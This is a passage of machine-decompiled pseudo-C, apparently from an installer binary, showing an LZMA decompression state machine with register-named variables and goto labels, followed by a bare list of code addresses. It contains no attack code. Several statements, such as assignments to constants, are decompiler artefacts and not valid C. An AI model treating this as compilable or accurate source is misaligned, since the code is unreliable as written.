                                                                                    												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                    												__ecx =  *(__ebp - 0x58);
                                                                                    												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                    												 *(__ebp - 0x48) = __eax;
                                                                                    												__eax = __eax + 1;
                                                                                    												__eax = __eax << 8;
                                                                                    												__eax = __eax + __ebx;
                                                                                    												__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__ax =  *__esi;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__edx = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													 *(__ebp - 0x40) = 1;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eflags = __eax;
                                                                                    													__ebx = __ebx + __ebx + 1;
                                                                                    													 *__esi = __ax;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edx;
                                                                                    													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													goto L39;
                                                                                    												} else {
                                                                                    													goto L37;
                                                                                    												}
                                                                                    											case 0xe:
                                                                                    												L46:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0xe;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t156 = __ebp - 0x70;
                                                                                    												 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t156;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												while(1) {
                                                                                    													L48:
                                                                                    													__eflags = __ebx - 0x100;
                                                                                    													if(__ebx >= 0x100) {
                                                                                    														break;
                                                                                    													}
                                                                                    													__eax =  *(__ebp - 0x58);
                                                                                    													__edx = __ebx + __ebx;
                                                                                    													__ecx =  *(__ebp - 0x10);
                                                                                    													__esi = __edx + __eax;
                                                                                    													__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    													__ax =  *__esi;
                                                                                    													 *(__ebp - 0x54) = __esi;
                                                                                    													__edi = __ax & 0x0000ffff;
                                                                                    													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    													__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    													if( *(__ebp - 0xc) >= __ecx) {
                                                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    														__cx = __ax;
                                                                                    														_t170 = __edx + 1; // 0x1
                                                                                    														__ebx = _t170;
                                                                                    														__cx = __ax >> 5;
                                                                                    														__eflags = __eax;
                                                                                    														 *__esi = __ax;
                                                                                    													} else {
                                                                                    														 *(__ebp - 0x10) = __ecx;
                                                                                    														0x800 = 0x800 - __edi;
                                                                                    														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    														__ebx = __ebx + __ebx;
                                                                                    														 *__esi = __cx;
                                                                                    													}
                                                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    													 *(__ebp - 0x44) = __ebx;
                                                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    														continue;
                                                                                    													} else {
                                                                                    														goto L46;
                                                                                    													}
                                                                                    												}
                                                                                    												L54:
                                                                                    												_t173 = __ebp - 0x34;
                                                                                    												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                    												__eflags =  *_t173;
                                                                                    												goto L55;
                                                                                    											case 0xf:
                                                                                    												L58:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0xf;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t203 = __ebp - 0x70;
                                                                                    												 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t203;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												L60:
                                                                                    												__eflags = __ebx - 0x100;
                                                                                    												if(__ebx >= 0x100) {
                                                                                    													L55:
                                                                                    													__al =  *(__ebp - 0x44);
                                                                                    													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                    													goto L56;
                                                                                    												}
                                                                                    												L61:
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												__edx = __ebx + __ebx;
                                                                                    												__ecx =  *(__ebp - 0x10);
                                                                                    												__esi = __edx + __eax;
                                                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__ax =  *__esi;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__edi = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													_t217 = __edx + 1; // 0x1
                                                                                    													__ebx = _t217;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eflags = __eax;
                                                                                    													 *__esi = __ax;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edi;
                                                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													goto L60;
                                                                                    												} else {
                                                                                    													goto L58;
                                                                                    												}
                                                                                    											case 0x10:
                                                                                    												L109:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0x10;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t365 = __ebp - 0x70;
                                                                                    												 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t365;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												goto L111;
                                                                                    											case 0x11:
                                                                                    												goto L69;
                                                                                    											case 0x12:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__eax =  *(__ebp - 0x58);
                                                                                    													 *(__ebp - 0x84) = 0x13;
                                                                                    													__esi =  *(__ebp - 0x58) + 2;
                                                                                    													while(1) {
                                                                                    														L132:
                                                                                    														 *(_t613 - 0x54) = _t606;
                                                                                    														goto L133;
                                                                                    													}
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x4c);
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                    												__ecx =  *(__ebp - 0x58);
                                                                                    												__eax =  *(__ebp - 0x4c) << 4;
                                                                                    												__eflags = __eax;
                                                                                    												__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                    												goto L130;
                                                                                    											case 0x13:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													_t469 = __ebp - 0x58;
                                                                                    													 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                    													__eflags =  *_t469;
                                                                                    													 *(__ebp - 0x30) = 0x10;
                                                                                    													 *(__ebp - 0x40) = 8;
                                                                                    													L144:
                                                                                    													 *(__ebp - 0x7c) = 0x14;
                                                                                    													goto L145;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x4c);
                                                                                    												__ecx =  *(__ebp - 0x58);
                                                                                    												__eax =  *(__ebp - 0x4c) << 4;
                                                                                    												 *(__ebp - 0x30) = 8;
                                                                                    												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                    												L130:
                                                                                    												 *(__ebp - 0x58) = __eax;
                                                                                    												 *(__ebp - 0x40) = 3;
                                                                                    												goto L144;
                                                                                    											case 0x14:
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                    												__eax =  *(__ebp - 0x80);
                                                                                    												 *(_t613 - 0x88) = _t533;
                                                                                    												goto L1;
                                                                                    											case 0x15:
                                                                                    												__eax = 0;
                                                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    												__al = __al & 0x000000fd;
                                                                                    												__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                    												goto L120;
                                                                                    											case 0x16:
                                                                                    												__eax =  *(__ebp - 0x30);
                                                                                    												__eflags = __eax - 4;
                                                                                    												if(__eax >= 4) {
                                                                                    													_push(3);
                                                                                    													_pop(__eax);
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 4);
                                                                                    												 *(__ebp - 0x40) = 6;
                                                                                    												__eax = __eax << 7;
                                                                                    												 *(__ebp - 0x7c) = 0x19;
                                                                                    												 *(__ebp - 0x58) = __eax;
                                                                                    												goto L145;
                                                                                    											case 0x17:
                                                                                    												L145:
                                                                                    												__eax =  *(__ebp - 0x40);
                                                                                    												 *(__ebp - 0x50) = 1;
                                                                                    												 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                    												goto L149;
                                                                                    											case 0x18:
                                                                                    												L146:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0x18;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t484 = __ebp - 0x70;
                                                                                    												 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t484;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												L148:
                                                                                    												_t487 = __ebp - 0x48;
                                                                                    												 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                    												__eflags =  *_t487;
                                                                                    												L149:
                                                                                    												__eflags =  *(__ebp - 0x48);
                                                                                    												if( *(__ebp - 0x48) <= 0) {
                                                                                    													__ecx =  *(__ebp - 0x40);
                                                                                    													__ebx =  *(__ebp - 0x50);
                                                                                    													0 = 1;
                                                                                    													__eax = 1 << __cl;
                                                                                    													__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                    													__eax =  *(__ebp - 0x7c);
                                                                                    													 *(__ebp - 0x44) = __ebx;
                                                                                    													while(1) {
                                                                                    														 *(_t613 - 0x88) = _t533;
                                                                                    														goto L1;
                                                                                    													}
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x50);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												__esi = __edx + __eax;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__ax =  *__esi;
                                                                                    												__edi = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eax = __eax - __ecx;
                                                                                    													__edx = __edx + 1;
                                                                                    													__eflags = __edx;
                                                                                    													 *__esi = __ax;
                                                                                    													 *(__ebp - 0x50) = __edx;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edi;
                                                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													goto L148;
                                                                                    												} else {
                                                                                    													goto L146;
                                                                                    												}
                                                                                    											case 0x19:
                                                                                    												__eflags = __ebx - 4;
                                                                                    												if(__ebx < 4) {
                                                                                    													 *(__ebp - 0x2c) = __ebx;
                                                                                    													L119:
                                                                                    													_t393 = __ebp - 0x2c;
                                                                                    													 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                    													__eflags =  *_t393;
                                                                                    													L120:
                                                                                    													__eax =  *(__ebp - 0x2c);
                                                                                    													__eflags = __eax;
                                                                                    													if(__eax == 0) {
                                                                                    														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                    														goto L170;
                                                                                    													}
                                                                                    													__eflags = __eax -  *(__ebp - 0x60);
                                                                                    													if(__eax >  *(__ebp - 0x60)) {
                                                                                    														goto L171;
                                                                                    													}
                                                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                    													__eax =  *(__ebp - 0x30);
                                                                                    													_t400 = __ebp - 0x60;
                                                                                    													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                    													__eflags =  *_t400;
                                                                                    													goto L123;
                                                                                    												}
                                                                                    												__ecx = __ebx;
                                                                                    												__eax = __ebx;
                                                                                    												__ecx = __ebx >> 1;
                                                                                    												__eax = __ebx & 0x00000001;
                                                                                    												__ecx = (__ebx >> 1) - 1;
                                                                                    												__al = __al | 0x00000002;
                                                                                    												__eax = (__ebx & 0x00000001) << __cl;
                                                                                    												__eflags = __ebx - 0xe;
                                                                                    												 *(__ebp - 0x2c) = __eax;
                                                                                    												if(__ebx >= 0xe) {
                                                                                    													__ebx = 0;
                                                                                    													 *(__ebp - 0x48) = __ecx;
                                                                                    													L102:
                                                                                    													__eflags =  *(__ebp - 0x48);
                                                                                    													if( *(__ebp - 0x48) <= 0) {
                                                                                    														__eax = __eax + __ebx;
                                                                                    														 *(__ebp - 0x40) = 4;
                                                                                    														 *(__ebp - 0x2c) = __eax;
                                                                                    														__eax =  *(__ebp - 4);
                                                                                    														__eax =  *(__ebp - 4) + 0x644;
                                                                                    														__eflags = __eax;
                                                                                    														L108:
                                                                                    														__ebx = 0;
                                                                                    														 *(__ebp - 0x58) = __eax;
                                                                                    														 *(__ebp - 0x50) = 1;
                                                                                    														 *(__ebp - 0x44) = 0;
                                                                                    														 *(__ebp - 0x48) = 0;
                                                                                    														L112:
                                                                                    														__eax =  *(__ebp - 0x40);
                                                                                    														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                    															_t391 = __ebp - 0x2c;
                                                                                    															 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                    															__eflags =  *_t391;
                                                                                    															goto L119;
                                                                                    														}
                                                                                    														__eax =  *(__ebp - 0x50);
                                                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    														__eax =  *(__ebp - 0x58);
                                                                                    														__esi = __edi + __eax;
                                                                                    														 *(__ebp - 0x54) = __esi;
                                                                                    														__ax =  *__esi;
                                                                                    														__ecx = __ax & 0x0000ffff;
                                                                                    														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                    														__eflags =  *(__ebp - 0xc) - __edx;
                                                                                    														if( *(__ebp - 0xc) >= __edx) {
                                                                                    															__ecx = 0;
                                                                                    															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                    															__ecx = 1;
                                                                                    															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                    															__ebx = 1;
                                                                                    															__ecx =  *(__ebp - 0x48);
                                                                                    															__ebx = 1 << __cl;
                                                                                    															__ecx = 1 << __cl;
                                                                                    															__ebx =  *(__ebp - 0x44);
                                                                                    															__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                    															__cx = __ax;
                                                                                    															__cx = __ax >> 5;
                                                                                    															__eax = __eax - __ecx;
                                                                                    															__edi = __edi + 1;
                                                                                    															__eflags = __edi;
                                                                                    															 *(__ebp - 0x44) = __ebx;
                                                                                    															 *__esi = __ax;
                                                                                    															 *(__ebp - 0x50) = __edi;
                                                                                    														} else {
                                                                                    															 *(__ebp - 0x10) = __edx;
                                                                                    															0x800 = 0x800 - __ecx;
                                                                                    															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                    															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    															 *__esi = __dx;
                                                                                    														}
                                                                                    														__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    														if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    															L111:
                                                                                    															_t368 = __ebp - 0x48;
                                                                                    															 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                    															__eflags =  *_t368;
                                                                                    															goto L112;
                                                                                    														} else {
                                                                                    															goto L109;
                                                                                    														}
                                                                                    													}
                                                                                    													__ecx =  *(__ebp - 0xc);
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                    													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    													 *(__ebp - 0x44) = __ebx;
                                                                                    													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                    														__ecx =  *(__ebp - 0x10);
                                                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    														__ebx = __ebx | 0x00000001;
                                                                                    														__eflags = __ebx;
                                                                                    														 *(__ebp - 0x44) = __ebx;
                                                                                    													}
                                                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    														L101:
                                                                                    														_t338 = __ebp - 0x48;
                                                                                    														 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                    														__eflags =  *_t338;
                                                                                    														goto L102;
                                                                                    													} else {
                                                                                    														goto L99;
                                                                                    													}
                                                                                    												}
                                                                                    												__edx =  *(__ebp - 4);
                                                                                    												__eax = __eax - __ebx;
                                                                                    												 *(__ebp - 0x40) = __ecx;
                                                                                    												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                    												goto L108;
                                                                                    											case 0x1a:
                                                                                    												L56:
                                                                                    												__eflags =  *(__ebp - 0x64);
                                                                                    												if( *(__ebp - 0x64) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0x1a;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x68);
                                                                                    												__al =  *(__ebp - 0x5c);
                                                                                    												__edx =  *(__ebp - 8);
                                                                                    												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    												 *( *(__ebp - 0x68)) = __al;
                                                                                    												__ecx =  *(__ebp - 0x14);
                                                                                    												 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                    												__eax = __ecx + 1;
                                                                                    												__edx = 0;
                                                                                    												_t192 = __eax %  *(__ebp - 0x74);
                                                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                                                    												__edx = _t192;
                                                                                    												goto L80;
                                                                                    											case 0x1b:
                                                                                    												L76:
                                                                                    												__eflags =  *(__ebp - 0x64);
                                                                                    												if( *(__ebp - 0x64) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0x1b;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                                                    													__eflags = __eax;
                                                                                    												}
                                                                                    												__edx =  *(__ebp - 8);
                                                                                    												__cl =  *(__eax + __edx);
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												 *(__ebp - 0x5c) = __cl;
                                                                                    												 *(__eax + __edx) = __cl;
                                                                                    												__eax = __eax + 1;
                                                                                    												__edx = 0;
                                                                                    												_t275 = __eax %  *(__ebp - 0x74);
                                                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                                                    												__edx = _t275;
                                                                                    												__eax =  *(__ebp - 0x68);
                                                                                    												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    												_t284 = __ebp - 0x64;
                                                                                    												 *_t284 =  *(__ebp - 0x64) - 1;
                                                                                    												__eflags =  *_t284;
                                                                                    												 *( *(__ebp - 0x68)) = __cl;
                                                                                    												L80:
                                                                                    												 *(__ebp - 0x14) = __edx;
                                                                                    												goto L81;
                                                                                    											case 0x1c:
                                                                                    												while(1) {
                                                                                    													L123:
                                                                                    													__eflags =  *(__ebp - 0x64);
                                                                                    													if( *(__ebp - 0x64) == 0) {
                                                                                    														break;
                                                                                    													}
                                                                                    													__eax =  *(__ebp - 0x14);
                                                                                    													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    													__eflags = __eax -  *(__ebp - 0x74);
                                                                                    													if(__eax >=  *(__ebp - 0x74)) {
                                                                                    														__eax = __eax +  *(__ebp - 0x74);
                                                                                    														__eflags = __eax;
                                                                                    													}
                                                                                    													__edx =  *(__ebp - 8);
                                                                                    													__cl =  *(__eax + __edx);
                                                                                    													__eax =  *(__ebp - 0x14);
                                                                                    													 *(__ebp - 0x5c) = __cl;
                                                                                    													 *(__eax + __edx) = __cl;
                                                                                    													__eax = __eax + 1;
                                                                                    													__edx = 0;
                                                                                    													_t414 = __eax %  *(__ebp - 0x74);
                                                                                    													__eax = __eax /  *(__ebp - 0x74);
                                                                                    													__edx = _t414;
                                                                                    													__eax =  *(__ebp - 0x68);
                                                                                    													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                    													__eflags =  *(__ebp - 0x30);
                                                                                    													 *( *(__ebp - 0x68)) = __cl;
                                                                                    													 *(__ebp - 0x14) = _t414;
                                                                                    													if( *(__ebp - 0x30) > 0) {
                                                                                    														continue;
                                                                                    													} else {
                                                                                    														L81:
                                                                                    														 *(__ebp - 0x88) = 2;
                                                                                    														goto L1;
                                                                                    													}
                                                                                    												}
                                                                                    												 *(__ebp - 0x88) = 0x1c;
                                                                                    												goto L170;
                                                                                    										}
                                                                                    									}
                                                                                    									L171:
                                                                                    									_t535 = _t534 | 0xffffffff;
                                                                                    									goto L172;
                                                                                    								}
                                                                                    							}
                                                                                    						}
                                                                                    					}
                                                                                    					goto L1;
                                                                                    				}
                                                                                    			}













                                                                                    0x00000000
                                                                                    0x00406ce2
                                                                                    0x00406ce2
                                                                                    0x00406ce6
                                                                                    0x00406cf3
                                                                                    0x00406cfd
                                                                                    0x00000000
                                                                                    0x00406ce8
                                                                                    0x00406ce8
                                                                                    0x00406d23
                                                                                    0x00406d26
                                                                                    0x00406d29
                                                                                    0x00406d2c
                                                                                    0x00406d2c
                                                                                    0x00406d2f
                                                                                    0x00406d36
                                                                                    0x00406d3b
                                                                                    0x00406c1c
                                                                                    0x00406c1f
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fe0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406fe2
                                                                                    0x00406fe6
                                                                                    0x00407195
                                                                                    0x004071ab
                                                                                    0x004071b3
                                                                                    0x004071ba
                                                                                    0x004071bc
                                                                                    0x004071c3
                                                                                    0x004071c7
                                                                                    0x004071c7
                                                                                    0x00406ff2
                                                                                    0x00406ff9
                                                                                    0x00407001
                                                                                    0x00407004
                                                                                    0x00407007
                                                                                    0x00407007
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067b2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x00000000
                                                                                    0x004067c3
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067cc
                                                                                    0x004067cf
                                                                                    0x004067d2
                                                                                    0x004067d6
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067dc
                                                                                    0x004067df
                                                                                    0x004067e1
                                                                                    0x004067e2
                                                                                    0x004067e5
                                                                                    0x004067e7
                                                                                    0x004067e8
                                                                                    0x004067ea
                                                                                    0x004067ed
                                                                                    0x004067f2
                                                                                    0x004067f7
                                                                                    0x00406800
                                                                                    0x00406813
                                                                                    0x00406816
                                                                                    0x00406822
                                                                                    0x0040684a
                                                                                    0x0040684c
                                                                                    0x0040685a
                                                                                    0x0040685a
                                                                                    0x0040685e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x0040684e
                                                                                    0x00406851
                                                                                    0x00406852
                                                                                    0x00406852
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x00406828
                                                                                    0x0040682d
                                                                                    0x0040682d
                                                                                    0x00406836
                                                                                    0x0040683e
                                                                                    0x00406841
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406864
                                                                                    0x00406864
                                                                                    0x00406868
                                                                                    0x00407114
                                                                                    0x00000000
                                                                                    0x00407114
                                                                                    0x00406871
                                                                                    0x00406881
                                                                                    0x00406884
